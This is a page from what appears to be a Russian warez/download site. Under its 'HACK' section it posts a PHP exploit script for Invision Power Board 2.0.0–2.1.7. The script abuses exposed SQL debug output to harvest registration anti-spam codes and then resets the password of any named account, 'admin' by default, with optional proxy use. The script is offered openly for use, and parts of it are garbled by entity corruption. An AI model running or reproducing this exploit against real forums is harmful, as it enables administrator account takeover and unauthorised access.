DOWNLOAD 4EVER!!! Пятница, 28.06.2024, 08:44
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта

Разделы новостей
MUSIC [114]
ANIMATIONS [16]
FOR MOBILE [55]
OTHER [25]
COUNTER STRIKE [3]
SCHOOL [3]
HACK [56]
PRIKOLY [21]
VIDEO [133]
SOFT [117]
GAMES [104]
IMAGES [10]
MOVIES [105]

Мини-чат
500

Наш опрос

Главная » 2008 » Июнь » 2 » HACK - Affects Invision Power Borard 2.0.0 to 2.1.7
HACK - Affects Invision Power Borard 2.0.0 to 2.1.7
16:12

/*

Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator

This works if:

"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on

In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO class='purple'>([\w]*?)_reg_antispam
\(regid,regcode,ip_address,ctime\)
VALUES\('([\w]{32}?)',([\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\w]*?)_reg_antispam \(regid,regcode,ip_address,ctime\)
VALUES\('([\w]{32}?)',([\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,
"act=Reg&CODE=11&member_name={$name}®id={$regid }®_code={$regcode}&
quot;
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO class='purple'>'.$prefix.'_validating
\(vid,member_id,real_group,temp_group,entry_date,c oppa_user,lost_pass,ip_address\)
VALUES\('([\w]{32}?)',([\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating
\(vid,member_id,real_group,temp_group,entry_date,c oppa_user,lost_pass,ip_address\)
VALUES\('([\w]{32}?)',([\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,
"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={ $vid}®id={$regi
d}®_code={$regcode}&pass1={$pass}&pass2={$pass} ");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>

 

Категория: HACK | Просмотров: 512 | Добавил: hakie | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Календарь новостей
«  Июнь 2008  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
30

Поиск

Друзья сайта
Персональный сайт 50 CENTa and EMENEMa
 
модный чат
Pro-Hack.ru - security and safety

Статистика

Онлайн всего: 5
Гостей: 5
Пользователей: 0

Copyright MyCorp © 2024